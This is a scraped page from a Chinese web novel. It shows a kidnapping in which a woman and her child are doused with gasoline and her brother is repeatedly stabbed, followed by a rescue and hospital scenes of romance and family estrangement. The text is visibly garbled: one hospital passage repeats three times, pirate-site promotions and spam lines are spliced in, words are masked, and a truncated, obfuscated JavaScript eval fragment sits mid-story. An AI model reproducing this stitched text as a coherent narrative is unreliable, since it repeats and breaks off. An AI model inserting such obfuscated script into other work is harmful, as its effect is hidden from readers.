可是他也知道,如此危急时刻,是不能再激怒曹叔和苏秀珍二人的。 他忍着肩膀上的剧烈疼痛,挪动着被捆的双脚,扑通一声跪在曹叔面前。 “曹叔,我爸三十一年前撞**你们的儿子,是他有罪。” “我替你儿子还债,你杀了我,放了我妹妹和我外甥女,好不好?” “我妹妹这辈子过得很苦,她是无辜的,小柚子也是无辜的,你放了她们母女俩,好不好,求求你了。” 鲜血沿着林振宇的肩膀,从胸前淌下来。 他的衣服已经湿了一大片。 全是血。 林听好像又看了儿时那个什么事都挡在她前头,不让她受半点罪的林振宇。 下一瞬,曹叔一脚踢在林振宇的胸口,“她们母女无辜,我儿子不无辜吗?今天你们都得死。” 这个时候,柚子醒了。 小小的身体被绑着,无法动弹。 她只能无助地望向同样被绑着的林听,“唔唔……” 她想喊一声妈妈。 嘴巴里塞了东西,喊出不来。 林听也想喊一声:柚子,别怕,妈妈在。 可是她也喊不出来。 她匍匐在地上,挪动被捆绑的身体,一点一点靠近柚子。 柚子也匍匐在地面,艰难地挪动着小小的身体。 就在这个时候,苏秀珍踩着林听的手,一把将小柚子拎起来,“老公,别跟他们废话,先杀了她们母女俩,再杀林振宇。林建国不是最喜欢他的女儿了吗。让他尝尝最心爱的孩子死在自己面前的滋味。” 说着,苏秀珍扔开小柚子,又拎起一桶汽油,对着林听和小柚子劈头盖脸地淋下去。 浓浓的汽油浇在林听和柚子身上,难闻得让两母女快要窒息…… 浇完了汽油,苏秀珍望向曹叔,“老公,拿打火机。” “好。”曹叔应声,掏出一个打火机来,就要扔向苏秀珍。 紧要关头,那只打火机被林振宇林建国父子二人,瞪大了眼睛,死死地盯着。 就在打火打抛起来时,林建国使出全身的力气,撞向曹叔。 他们不能伤害他的女儿和外孙女。 小听和小柚子这些年来过得那 般辛苦。 他还没有弥补她们母女俩。 得不到她们的原谅没有关系但是他林建国就是豁出去一条老命也要护住她们。 曹叔被这么一撞差点摔倒。 但曹叔身手好。 这三十一年来为了报仇他天天都在锻炼身体练武术。 为的就是报仇的这一天。 曹叔很快踢了林建国一脚将他踢得人仰马翻。 而林振宇则是使出浑身力气扑到了落在地上的打火机上死死地压着那只打火机。 他不能让苏秀珍捡起这只打火机伤害他的妹妹和外甥女。 他趴在地上压着打火机苏秀珍一脚踢过来“你起开。” 没有耐心的苏秀珍一只戳进他的后背“滚开。” 依旧是白刀子进红刀子出。 可是趴在地上的林振宇却纹丝不动反而越压越用力。 他知道他这样压着那只打火机只是徒劳无功。 因为他们一家四口全被绑着手脚而曹叔和苏秀珍又杀红了眼。 但是他不能让妹妹和外甥女死在自己前头。 四岁那年他答应过妈妈以后要拿命来保护妹妹的。 **再次刺入林振宇的后背时 “小听对不起哥哥今天护不住你了。” 眼泪沿着林振宇的眼角划落下来。 流泪的是他也是林听她看着苏秀珍又捅了林振宇一刀她不由吼了一声“林振宇你傻啊你快让开不然她会把你捅死的。” “小听你可以原谅哥哥吗?”林振宇嘴角溢血痛苦地看着她乞求着她的原谅。 林听摇头“我没有原谅你你快点让开。” 就在苏秀珍的刀子又要捅向林振宇时铁皮房的大门吱呀一声开了。 闻到那阵浓浓的汽油味进门的三人同时心说:不好! 很快周自衡看到了一身湿淋淋的林听和柚子。 那汽油的味道来自于她们母女。 也是在这个时候苏秀珍一脚踢开受伤的林振宇掏出被他死死压在身下的打火机站起身来。 “别过来再过来我就 烧死她们母女俩。 她手里的打火机,让进门的周自衡、洛高、江遇三人顿时停下来。 下一瞬,空中飞过一个不明物体。 众人还没看清是什么东西,周自衡甩出去的那只手机,已经用力打落了苏秀珍手中的打火机。 也是在这样一个关键时刻,洛高一个原地起跑,几大步的奔跑间,快速抢走落在地上的打火机。 而江遇和周自衡,同时扑向了林听和柚子母女俩。 周自衡蹲下来,把林听抱起来。 那一刻,林听唔唔唔地哭着。 周自衡扯掉她嘴里塞着的布,把她抱在怀里,“别怕,我来了,没事了,没事了。 他一下又一下地拍着林听的背。 林听刚刚经历一场生死,这会儿全身发软。 说话时,舌头都要打结,“柚,柚子…… 旁边的柚子,已经**遇抱了起来。 江遇看到身上全是汽油,头发乱糟糟的,衣服上全是泥的柚子,他心要碎掉了。 “柚子,对不起,爸爸来晚了。 他赶紧扯掉柚子嘴里的布,又解开柚子身上的绳子。 一把将柚子抱时怀里。 可是此时此刻,柚子挣扎着,嘴里却哭着喊着,“我要妈妈和我爸爸…… 她所说的爸爸,是指周自衡。 江遇知道。 小小的人儿,要往周自衡那边扑。 江遇顿感无力。 周自衡解了林听身上的绳子,赶紧把两母女紧紧圈双臂。 而这时,洛高已经和曹叔打了起来。 很明显,曹叔并不是洛高的对手。 苏秀珍眼见着曹叔就要败下来,她拿着手上的刀朝林听的后背砍来。 周自衡长臂一挡。 那刀,砍在了周自衡的手臂上。 下一瞬,苏秀珍被他一脚踢开…… 江遇冲过去时,已经晚了。 他这才明白过来,林听的身边,早已经有了一个周自衡,一个宁愿自己挨刀子,也不让林听受半点伤的顶天立地的好男儿。 他也愿意替林听挡刀子。 他只恨自己刚刚离得远,否则这一刻替林听挡刀子的人是他。 …… 两个小时后一行人回到了市中心。 曹叔和苏秀珍被控制住了。 林振宇正在被抢救。 几个小时后林振宇脱离了生命危险。 病房外周自衡看着掩门走出来的林建国问“林振宇怎么样了?” “已经脱离危险了。”林建国答完问“周自衡你对小听是否是真心的。如果是我同意你娶小听前提条件是小听也愿意嫁给你。” 周自衡对林听的好 小说全网首发无弹窗免费阅读caixs≦(请来才 小说 看最新章节 完整章节)林建国也算是看在眼里。 上一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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经历此事,林建国才看清楚,谁才是对他女儿最好的那个男人。 “周自衡,如果你们两情相悦,赶紧把结婚的事情提上日程吧。” “我这个当父亲的,也该为小听办一场风风光光的婚礼,让她风风光光的嫁给值得托付终身的男人。” 就在这个时候,一道冰冷的声音,在二人背后骤然响起,“我不同意。” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 …… 两个小时后一行人回到了市中心。 曹叔和苏秀珍被控制住了。 林振宇正在被抢救。 几个小时后林振宇脱离了生命危险。 病房外周自衡看着掩门走出来的林建国问“林振宇怎么样了?” “已经脱离危险了。”林建国答完问“周自衡你对小听是否是真心的。如果是我同意你娶小听前提条件是小听也愿意嫁给你。” 周自衡对林听的好林建国也算是看在眼里。 上一次苏秀珍就想从背后捅死林听也是周自衡握住了那把锋利的刀刃才让林听免于灾难。 而这一次依然如此。 林建国想着一个愿意替林听挡刀子的男人一定是用生命在爱着林听。 他以前一直以为把小听交给江遇就是小听最好的归宿。 可是并不是如此。 江遇疑心重不坚定。 这些年他与林振宇父子俩有许多对不起小听的地方。 可是江遇又何尝不是如此如果当初江遇能够坚定地相信林听 经历此事林建国才看清楚谁才是对他女儿最好的那个男人。 “周自衡如果你们两情相悦赶紧把结婚的事情提上日程吧。” “我这个当父亲的也该为小听办一场风风光光的婚礼让她风风光光的嫁给值得托付终身的男人。” 就在这个时候一道冰冷的声音在二人背后骤然响起“我不同意。” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 …… 两个小时后,一行人回到了市中心。 曹叔和苏秀珍被控制住了。 林振宇正在被抢救。 几个小时后,林振宇脱离了生命危险。 病房外,周自衡看着掩门走出来的林建国,问,“林振宇怎么样了? “已经脱离危险了。林建国答完,问,“周自衡,你对小听是否是真心的。如果是,我同意你娶小听,前提条件是小听也愿意嫁给你。 周自衡对林听的好,林建国也算是看在眼里。 上一次苏秀珍就想从背后捅死林听,也是周自衡握住了那把锋利的刀刃,才让林听免于灾难。 而这一次,依然如此。 林建国想着,一个愿意替林听挡刀子的男人,一定是用生命在爱着林听。 他以前一直以为,把小听交给江遇,就是小听最好的归宿。 可是并不是如此。 江遇疑心重,不坚定。 这些年,他与林振宇父子俩有许多对不起小听的地方。 可是江遇又何尝不是如此,如果当初江遇能够坚定地相信林听,林听也不会遭那么多的罪。 经历此事,林建国才看清楚,谁才是对他女儿最好的那个男人。 “周自衡,如果你们两情相悦,赶紧把结婚的事情提上日程吧。 “我这个当父亲的,也该为小听办一场风风光光的婚礼,让她风风光光的嫁给值得托付终身的男人。 就在这个时候,一道冰冷的声音,在二人背后骤然响起,“我不同意。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第161章 这一吻蓄谋已久 周自衡和林建国同时寻声望去,看到了一脸阴沉沉的江遇。 江遇朝二人走来。 眉峰拧成死结,眼里的情绪像是暴雨前压在天边的乌云。 他站在周自衡和林建国二人面前,重复了一遍,“林叔,我不同意周自衡和林听在一起。你做这个决定,有没有考虑过我的感受?” 林建国想到之前江遇对女儿做过的那些事情,气得用鼻子出气,然后哼了一声。 “你有什么资格不同意?” “我这个当父亲的,确实是个混账东西,做了很多对不起小听的事情。” “可是江遇,你也好不到哪里去。” “我现在才反应过来,当初最应该相信小听的人,是你。” “但是江遇,你从头到尾都没有相信过小听。” “这种左右摇摆的女婿,我不需要。” 林建国说得无比硬气。 仿佛此时此刻,女儿要嫁给周自衡还是嫁给江遇,能够由得了他来做主。 二选一这个决定权,仿佛在他的手上。 就在不久前,林建国还是支持江遇和林听破镜重圆的。 他对江遇说,重新追回林听的过程当中,要是遇到什么麻烦,随时跟他说,他愿意帮助江遇,毕竟她是林听的亲生父亲。 这才过了多久,就不认可他了? 江遇胸口发堵,眉心紧拧,“林叔,你是看着我和林听从小青梅竹马的,我对林听的感情你应该最清楚。你怎么可以翻脸站在周自衡那头?” 林建国拉住周自衡的手,特意让江遇看了看,“看见了吗,为了保护我女儿,阿衡宁愿自己挨刀子。这已经是我看到的,他第二次替小听挡刀子了。” 他们一路返回市区,周自衡顾不得自己的伤,一直在照顾林听和小柚子。 就连来了医院,周自衡也是安顿好了柚子和林听,这才去缝针。 这些,林建国都看在眼里。 之前,是他误会周自衡了。 他依旧握着周自衡的手臂,看着江遇,反问,“你呢,你能做到像阿衡这样,时时刻刻保护着我女儿吗?” “……”一时之间,江遇有些哑口无言。 当时苏秀珍就站在周自衡和林听的身后。 他隔着林听两米之远。 苏秀珍的匕首捅过去的时候,他的反应速度当然没有周自衡那般及时快速。 如今,人人都支持周自衡和林听在一起。 江遇只觉自己被所有人都孤立了起来。 他整个身影透着无尽的落寞。 “林叔,你忘了吗?” “你五十岁大寿的时候,我陪着林听去景德镇为你烧制青花瓷的茶具。” “我也替林听挡过灾,被一条恶狗狠狠撕咬,当时我也缝了十几针。” “到现在,那条疤痕还在我的大腿上。” “我也是愿意舍命保护林听的。” 这急着解释的语声里,透着江遇的无可奈何。 林建国沉沉地叹了一口气,“是,江遇,以前你确实一直护着我女儿,可是你不是也都说了,那只是从前。回不到过去的从前。难道你能抹掉你对我女儿的所有伤害吗?” 这句话,又把江遇问得哑口无言。 就连林建国自己也没有把握,能得到宝贝女儿林听的原谅。 他拍了拍江遇的肩,“阿遇,放手吧。林听跟着阿衡,一定能过上幸福生活的。而且,林听确实应该开始新的生活,难道你不希望她幸福吗?” 江遇被问得无法回答。 他当然是希望林听能够幸福的。 她以前过的那些日子,已经够苦了。 可是如果她未来的幸福生活里,没有他,他会很痛苦的。 周自衡在旁边听闻二人的对话,心里一阵嗤之以鼻。 林建国还想再说什么时,周自衡打断道: “二位,似乎你们都没有权利替林听做任何决定。” 丢下这句话,周自衡转身离开了。 …… 另一间病房。 林听守着睡眠很浅的柚子,紧紧地握着她的手。 旁边摆着一盒抗过敏的药膏,还有一瓶炉甘石洗剂。 那是用来给柚子涂抹身上的红肿的。 因为苏秀珍往她们母女俩身上,浇了一身的汽油,哪怕清洗完之后,依然留下了一些红肿和过敏的地方。 林听看着柚子小小的两只胳膊上,多处红肿。 还有她的小脸蛋,脖颈,都过敏了。 她心疼死了。 可是柚子睡不踏实,只有她握着她的手,她才不会惊醒。 她只好任由柚子,一直紧紧地握着她的手。 哪怕柚子已经睡着了,这小手握着她的力道,依旧很用力。 她悄悄一动,柚子便会拧着眉心,半醒半睡地呢喃着,“妈妈,不要走,陪着我。” “好,妈妈哪也不去,妈妈就在这里陪着你。”她低下头来,心疼地挨了挨柚子的脸蛋。 这个时候,周自衡轻手轻脚地推门而进。 他拿回了柚子的一些检查报告,小声对林听说,“柚子有轻微脑震荡,观察二十四小时,没什么问题,就可以出院了。你不用担心。” 林听点点头,小声应道,“辛苦你了。” 周自衡坐到她的旁边,声音尽量放到最低,“林振宇也脱离生命危险了。” 闻言,林听没说什么。 林振宇挨的那几刀,全是因为她。 当时她和柚子的身上沾满了汽油,如果让苏秀珍拿到了打火机,她和柚子可能早就被点燃了。 如果燃起来,后果不堪设想。 是林振宇死死地压着打火机,不让苏秀珍拿到打火机,这才避免了一场不可逆的灾难。 当时她的脑袋完全是懵的。 这个时候,林振宇能够脱离生命危险,她也松了一口气。 她并不希望林振宇死掉。 见她神思飘忽,周自衡小声问,“你要不要去看看林振宇?” “不用了。”林听也答得小声,“我在这里陪着柚子。” 她不希望林振宇死掉,但并不代表她就能原谅林振宇。 有她紧紧地握着柚子的手,柚子睡得很踏实。 她望向周自衡,看了看他的包着纱布的右手手臂,“你呢,伤势怎么样?” “不碍事,缝过针,也打过破伤风了。”周自衡轻描淡写带过。 实际上,这一次替林听挡刀子,苏秀珍是带着捅死人的狠劲儿,用力砍过来的。 一刀下去,他的皮肤表层和皮下组织,里里外外缝了三层,一共缝了四十多针。 可他面上风轻云淡,就像没挨过刀子似的。 一双刚毅有神的目光落在林听身上时,变得无比温和柔软。 “对不起,昨天我要是亲自去接你和柚子,就不会发生这么多事情。” “让你受惊了。” 温暖的大掌,落在她的后颈,将她往身前轻轻一带。 一个充满愧疚又无比温柔的吻,落在了她的额头。 “你和柚子都吓坏了吧?” 这会儿靠在周自衡的怀里,林听心窝子暖暖的。 劫后余生所有的惊魂未定,在这一刻都得到了安抚。 他的轻吻,他的拥抱,还有他温柔的声音,仿佛是往她不安的心注入了一股强有力的力量。 顿觉踏实。 “嗯。” 她靠到了周自衡的肩头,一只手依然握着柚子的小手,一只手,已经抱住了周自衡的劲瘦有力的腰。 隔着两层衣服,男人腰腹间劲瘦的力量却清晰地传来。 这个男人,总是有着让她踏实的力量。 “周自衡,这次多亏了你。” “你是怎么找到我和柚子的?” 周自衡抱着她,用脸颊蹭了蹭她的发,“你忘了,我送给柚子和落落的头绳发夹还有平安绳平安扣以及书包挂件,都有卫星追踪定位,还有监听功能。” 哦!怪不得呢,周自衡能第一时间找到她们。 林听恍然大悟。 上一次柚子被林建国和林振宇强行带走时,周自衡就特地准备了这些。 “周自衡,还是你想的周到。” 病房的房门处,微微敞开一条口子。 江遇就站门缝之处,看着里面的林听和周自衡紧紧相拥,也清晰地听着二人的对话。 难怪他找到周自衡说明林听的情况后,周自衡能第一时间追踪到母女俩的卫星定位。 不得不承认,这个男人比他想象中细心周到。 如同林建国所说,让林听跟着周自衡,林听可以重新开始新的生活。 并且是幸福的新生活。 可是此时此刻,江遇紧攥着拳头。 指节因紧紧用力,而绷成青白色。 掌心里,像是要碾碎什么。 他绷紧的每一根血管里,奔涌的不是血液。 是他经脉里的不甘、愤怒、与痛苦。 眼里有什么东西在崩塌着。 越是崩塌,他越是紧攥拳头。 这个时候,洛高站在他身后,轻轻喊了一声,“江总!” 江遇这才从门缝里抽回目光。 洛高竟然从他的眼里看到了痛苦又隐忍的泪光,洛高不得不提醒了一句: “江总,这世上从来都没有后悔药。” 洛高知道,江遇一定是后悔极了,当初他对林小姐的所作所为。 除此之外,洛高又扎心地提醒了一句,“还有,江总,林小姐可能不太欢迎你进去,所以你还是识趣一点,自行离开吧。毕竟小柚子和林小姐都需要休息。” 他明明是柚子的亲生父亲。 可是此时此刻,守护在柚子身边的人却是周自衡。 他只能偷偷的,像个偷窃的小偷一样,隔着一道门缝,远远地瞧着柚子和林听母女俩。 是,这世上从来没有后悔药。 可是他多么希望一切能够重头再来。 如果林薇薇苏秀珍再次诬陷林听时,他一定会坚定地选择站在林听身边,相信她肚子里的孩子是他的,再也不将她送进监狱里。 可是,真的如同洛高所说,这世间没有后悔药卖。 他握紧的拳头,一刻也没有松开,“洛高,替我感谢周自衡,如此悉心照顾柚子和林听母女俩。” 洛高继续往江遇的心窝里捅刀子,“江总,这是我家家主分内的事情。他照顾自己的未婚妻和女儿,不是应该的吗?还轮不着你来说这句感谢。” 周自衡向来是个嘴毒的。 没想到连他的手下也是如此嘴毒。 江遇被怼得无言以对,只能握着拳头,挺着看似伟岸挺拔却似乎随时都会崩塌的身姿,落寞转身而去。 看着他的背影,洛高嗤之以鼻,“该!” 这时,洛高透过门缝,看了看里面的情形。 林小姐正小鸟依人地依偎在家主的怀抱里,两人正是浓情蜜意。 他轻轻掩紧房门后,忍俊不禁。 看到二人如此甜蜜,也不枉家主挨了那一刀,生生被缝了四十多针。 病房里面。 林听不小心碰到了周自衡受伤的手臂。 周自衡嘶一声,微微拧眉。 林听赶紧从周自衡的怀里,抬起头来,“我弄疼你了吗?” 她小心翼翼地抬起他受伤的右臂。 纱布上,浸着血渍。 “周自衡,你缝了多少针啊,痛不痛?” 周自衡打量着此时此刻,满眼担忧的林听,勾唇轻笑,“是啊,为了你我挨了一刀,缝了好几针,你要怎么感谢我?” 林听抬眸。 还没反应过来,周自衡勾唇又笑道,“这样吧,亲我一下。” 说着,周自衡故意把脸颊靠近她。 示意让她亲他那里。 这个男人的侧脸,不要太好看。 硬朗的轮廓裹挟着岁月的故事,眉骨如刀削,却透着铁血柔情。 鼻梁宛如山脊,线条干净利落。 笑起来的时候,刚劲有力的下颌线与脖颈间流畅的线条相连,透着一股子少有的温柔。 明明是一个在血雨腥风中摸爬滚打,习惯了用满眼的麻木来掩饰自己的男人,在她面前却能笑得如此温柔如画。 林听心窝子越来越暖。 她笑着拍了拍他的手背,“还有力气调戏我,看来伤得不重。” “嘶,是真疼。”周自衡笑着,皱眉,“你真的不补偿我?” “我怕我亲了你,你一会儿耳朵又红了。” 这个男人看起来霸气凛然。 其实就是一纯情男人,初吻守到现在,亲一下耳朵还能红的。 周自衡也与她笑着打趣,“没办法,谁叫我三十三岁了,还为某人保留着初吻。” 这个某人,指的是林听。 林听当然知道。 都说苦尽甘来。 她以前尝遍了世间所有的苦,终于迎来了一丝甘甜。 上辈子她是做了多少好事,才能遇到周自衡? 她眼里的打趣之意,逐渐消失。 抬眸看向他时,与他的目光撞了个正着,他眸光中细碎的光让她慌得像是受惊的碟,内心翩然舞动。 无声的对视中,周自衡喉结滚动出性感的弧度。 带着雪松与灼热的呼吸,已经来到了林听的面前。 两人鼻尖轻轻相触的那一瞬间,他沙哑的低喃,擦过她的唇瓣,“可以吗?” 话音刚落,没有得到林听的允许,温热的唇已经覆盖下来,带着他蓄谋已久的滚烫与小心翼翼。 二十多年来,所有未说出口的情愫都揉进了这个清洌与心跳震颤的吻里。 第162章 接吻有技巧的,我教你 就在林听抽走柚子掌心里的手掌,落在周自衡的脖颈间,轻轻缠着,准备回应周自衡的时候,病床上的小柚子拧了拧她那细细的柳叶眉。 感受不到妈妈的存在,柚子的安全感尽失,就要醒过来。 可是此时此刻的林听,完全没有察觉到柚子的异样。 她缠着周自衡的脖颈,调皮一笑,“周自衡,接吻不是这样接的,来,我教你…… 白皙如玉的鼻尖,擦过男人硬朗的侧颜。 下一瞬,男人睁开眼来,眼里带着浓浓的醋意,“你和江遇在一起的时候,也会这么调皮和主动吗? 她的过去,他不会计较和在意。 可是此时此刻,醋意如风浪在心尖狂烈地翻涌着。 想到江遇曾经霸占了林听的整个青春,林听也是这般主动亲吻江遇,他嫉妒地发狂。 林听又是调皮一笑。 没想到这个铁血硬朗的男人吃起醋来,可以如此可爱。 “某人好像吃醋了? 醋意翻涌的周自衡,才不管自己有没有接吻技巧,薄唇落下来…… **来临,他霸道地入侵。 就在林听心里一阵嘀咕,这个男人激不得,一激他,他能把她给吃了时,身后有一个软软糥糥的声音。 “妈妈! 两个人同时停下来。 又同时一僵。 林听赶紧推开周自衡。 病床上的柚子并没有睁开眼睛,她只是感受不到妈妈的存在,做噩梦了。 林听赶紧抽了身,俯下身来,抱了抱柚子,一手握住她在半空中抓捞着的小手,一手轻轻拍着她的肩头,温柔地哄着,“柚子,妈妈在,妈妈在呢,不怕,不怕啊。 柚子那紧拧的柳叶眉,这才舒展开来。 呼吸慢慢变得均匀起来。 这才继续踏实地睡着觉。 …… 另一间病房。 林振宇缓缓睁开了眼睛。 他下意识地要坐起来,嘶……身上的伤撕扯着,疼得他直冒冷汗。 旁边的林建国赶紧迎上来,扶着他慢慢往下躺,“振宇,你刚做了手术,伤口刚刚缝合,别动,好好躺着。 林振宇不关心自己的伤势 ,开口便问,“小听和柚子呢,她们有没有事? 林建国赶紧对他解释,“周自衡带着江遇和洛高及时赶来了,苏秀珍和曹叔已经被捕了,没事了,没事啊。小听和柚子也没有危险了,你放心。 林振宇终于是松了一口气。 他这才忍着疼痛,缓缓躺下去,嘶……是真疼啊。 他都不记得他死死地压着打火机时,苏秀珍到底捅了他多少刀。 当时他只有一个念头。 柚子和小听的身上被浇满了汽油,如果让苏秀珍拿到打火机,柚子和小听是会被活活烧死的。 所以任由苏秀珍的刀子一刀一刀捅下来,他依然稳如泰山一般压着身下那只打火机。 幸好,柚子和小听没事。 他忍着痛,嘴角浮现欣慰的笑容。 林建国在旁边说,“小听没受伤,就是柚子有轻微的脑震荡,需要住院观察一天。 闻言,林振宇忍不住眼眶一红,“我们柚子从小跟着妈妈颠沛流离,吃尽了苦头,都怪我这个当舅舅不是人。 要是他能分辨出林薇薇和苏秀珍母女俩的真面目,能够始终如一地相信小听,小听就不会被送进监狱。 柚子就不会跟着吃这么多的苦头。 林建国个这当外公的,也是眼眶通红,抹泪后悔,“柚子确实跟着小听吃了不少苦头,我们以后要好好弥补她们母女俩。 “哥! 就在这个时候,门口响起一个女声。 那个声音让林家父子二人听后,同时紧紧蹙起眉头来,随即不约而同冷声质问:“你来干什么? 门口站着的人是林薇薇。 她小心翼翼走进来,看到病床上的林振宇受了伤,无比担忧,“哥,我听说你受伤了,所以过来看看你。 林薇薇是真的很担忧林振宇。 她记得林振宇对她的所有好。 看他伤得不是很重,顿时松了一口气。 “爸,哥,我没想到曹叔竟然是苏秀珍的丈夫,如果我早知道,我肯定会提醒你们的。 “不要叫我爸。 “不要叫我哥。 如同林薇薇所说,就算她是无辜的,是被苏秀珍从小拐过来当棋子安插在他们林家的 。 她确实有许多的身不由己。 可是她依然不值得被同情。 不值得被原谅。 再次见到林薇薇,她身上林家千金的气质完全被退掉了。 听她说她为了一日三餐,不得不被迫去送外卖,去餐厅兼职服务生。 脸晒黑了,皮肤也变粗糙了。 可是林建国和林振宇,丝毫也不心疼。 林建国狠下心来,冷冷道,“林薇薇,虽然你确实提前向我们通风报信,可是依然不能改变什么。我们不欢迎你再踏进林家的大门。当初你明明知道自己不是我的女儿,你有千万次机会坦白。可是你偏偏选择欺负,觊觎我女儿的荣华富贵,把我女儿和小外孙害得如此之惨。你要是真的像你内心所说的,那样坦坦荡荡,你为什么不早点说出实情?我们林家没有找你算账就好了,你还好意思恬不知耻一次又一次凑过来? 这还叫没找她算账吗? 她是学医药研发的,可是林家断了她所有的退路,在圈子里打了招呼,她找不到同等的工作。 为了有口饭吃,她不得不顶着风吹日醒,跑去送外卖。 他们一点也不心疼她吗? 好歹曾经做过亲人。 可是林薇薇转念一想,这又何尝不是她自己咎由自取? 如林建国所说,她曾经确实是觊觎过林听的林家千金之位,妄想顶替林听,过上荣华富贵的豪门生活。 如今这般结局,林薇薇认了。 “爸,你不想见到我,我以后不出现在你面前了就是。 “哥,看到你没什么大碍,我也就放心了。 “我现在就走。 林薇薇转身离开时,一步两回头。 最终还是不得不识趣地离开。 那模样看起来可怜极了。 等她走后,病床上的林振宇满脑子都是他的小妹和外甥女。 他问林建国,“爸,小听知道我做完手术了吗? 林建国点点头,“周自衡半个小时前来过了,小听应该知道你脱离生命危险了。 林振宇满心盼望,“爸,这次我是为了救小听,才被苏秀珍捅了几刀。小听会不会动一点点恻隐之心,过来探望我一眼? 林建国轻轻 拍了拍林振宇的肩,“放心吧,人心都是肉长的。你为了救小听和柚子,伤得如此重,小听肯定会有所感动。说不定,她一会儿就来看望你了。 …… 住院部一楼大厅。 林薇薇失魂落魄地走在那里。 短短两个月的时间,她突然没了妈妈,没了疼她爱她的爸爸和哥哥,没了未婚夫,成了一个无家可归的可怜虫。 她的命运由不她选。 她被苏秀珍拐过来,欺骗林建国,当林建国的私生女那一天起,她就注定被贴上了恶人的标签。 可是她从来不想当一个恶人啊。 这个时候,林薇薇接到一通电话。 是房东打过来的。 “房租已经拖了快一个月了,你再不交房租我就要让你搬出去了,最多再宽限你三天,最多三天。 说的域名caixs?(请来才小 说 看最新章节 完整章节) 其实,这个月的房租她已经凑够了。 可是几天前,她送外卖的时候撞倒了一个老太婆。 其实那老太婆没受什么伤,只是皮外伤,她硬要倒在地上讹她五千块钱。 最后好说歹说,五千变成四千。 赔完钱,她身无分文。 当天她饿着肚子,等第二天为数不多的跑腿费提现到账,这才敢在送外卖的路上,买两个馒头,一边骑车,一边啃着馒头来填饱肚子。 这样的生活,太苦了。 就在房租凶巴巴说完,挂电话时,林薇薇瞧见迎面走来的江遇。 两人同时停下步伐。 看到江遇,林薇薇目光有些闪躲。 她想找个地方藏起来,因为她不想让江遇看到她此刻落魄又丑巴巴的样子。 可是,没有地方让她藏。 她只好低低地埋着头,紧紧地拽着自己洗得发白的衣服。 这一低头,看到自己脚下一双十块钱买来的,因为每天送外卖弄的脏兮兮的拖鞋,更是不敢抬头。 曾经她还是林家千金大小姐的时候,她是真心爱过江遇的。 虽然那块平安符里,装有**。 可是江遇车祸重伤时,她真的到清泉古寺为江遇跪过九千九百九十九步,一步一叩首,为他祈过福的。 她做梦都想成为江遇的妻子。 如今自 己如此落魄不堪,捞起的手臂被晒得黝黑,脸和脖子都黑了一大圈。 她赶紧把袖子放下来,想藏又藏不住。 她以为,念在过去的份上,江遇至少能问候她一句。 可江遇只有一句冷冰冰的:“林薇薇,你有今天都是咎由自取。 咎由自取四个字,是确在林薇薇心头上的一把刀。 她是被林家的荣华富贵迷失了自我,做了很多坏事,可是没有人明白她是多么的身不由己。 就在江遇连多看她一眼都觉得是在浪费时间,准备抽身离开的时候,她小心翼翼地抓住了江遇的西服一角。 “江遇,可不可以借给我一千块钱? 她把自己跑外卖撞了人,对方轻微擦伤,还被讹了四千块钱的事情,告诉了江遇。 “再不交房租,我会被房东赶出去的,江遇,你帮帮我好不好? “我再跑一个星期的外卖,就把钱还给你。 她卑微又可怜地乞求着。 那只抓着江遇西装一角,被太阳晒得黑黑的,又粗又糙的手,却**遇冷冷地挥开。 想到被她骗了整整五年,江遇恨不得她死。 “你有今天,都是活该的! 说完,江遇迈步离开。 林薇薇喊住他,“江遇,我听说姐姐和周自衡在一起了。对不起,真的很对不起,如果不是因为我,你们早就结婚,甚至连二胎三胎都有了。是我害苦了你。 江遇紧攥着拳头,指节发出一声脆响,“林听会回到我身边的。 他的计划已经在进行了。 一切准备工作都已经布置得堪称完美。 很快,林听就会回到他的身边。 …… 病房里的林振宇,等啊等啊。 总是希望着自己的妹妹林听,能够看在他为了救她们母女俩,挨了苏秀珍好几刀的份上,能来看看他。 可是等到天黑,林听也没有来。 林振宇还是很失落的。 小听这是,还没有原谅他吗? “爸,帮我拿个轮椅来,你推着我去柚子的病房,我去看看柚子。 林建国也想女儿和小外孙女了。 很快让护士拿来了轮椅,推着林振 宇去到了柚子的病房。 门外有周自衡安排的人守着,他们根本进不去。 里面的林听,听说林振宇的林建国过来了,态度十分坚决,“洛高,告诉他们,柚子在睡觉,不方便见客。 洛高走出去转达完,又走进来,“林小姐,那两父子说了,他们可以在外面等着,柚子什么时候醒,他们什么时候再进来。 周自衡在旁边替柚了剥着桔子,不由嗤之以鼻道,“林建国妄想替你办一场风风光光的婚礼,说是同意把你嫁给我,要我好好珍惜。 闻言,林听要被气笑了。 他们是不是以为,一起经历了曹叔的事情,她就可以当作以前的事情什么也没发生过? 她干脆利落道,“洛高,帮我转告一下,柚子醒了也不愿意见他们,让他们回去吧。对了,帮我买点营养品送到林振宇的病房,算是感谢他当时的英勇之举。 周自衡已经转达过她,林振宇脱离生命危险了。 她不希望林振宇和林建国死掉,但也不会原谅这两个人。 洛高就这样,当起了林听和林家父子二人的传话筒,又走到病房外头把林听的原话转述给二人。 坐在轮椅上的林振宇,满眼浸着痛苦的泪水,“小听这是还没有原谅我吗? 洛高不冷不**劝道,“二位,回去吧。林小姐不愿意见你们,你们等再久,她也不会让你们进去的。 轮椅里的林振宇,坚持道,“没关系,等再久我都愿意。 是他,让他最宝贝的妹妹,受了诸多苦难,差点死在自己手上。 等这点时间,又算什么呢? 洛高又不好撵人。 毕竟这里是医院。 他只好又回去,向林听传话,“林小姐,林家父子二人不走了。 林听也是硬气,脸色垮下来,冷冷道,“那就让他们等吧。 夜深了。 林建国怕林振宇刚刚做完手术,这样不吃不喝等在这里会吃不消。 他劝道,“振宇啊,爸先送你回病房休息,我们明天再来。 “不,爸,今天见不到小听,得不到小听的原谅,我是不会走的。林振宇打算在这里死等下去。 他和林听终归是亲生的兄妹。 林听肯定不忍心见他身中数刀,刚刚生里逃生,却还在这里苦苦等候的。 就在这个时候,门吱吖一声,开了…… 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 宇去到了柚子的病房。 门外有周自衡安排的人守着,他们根本进不去。 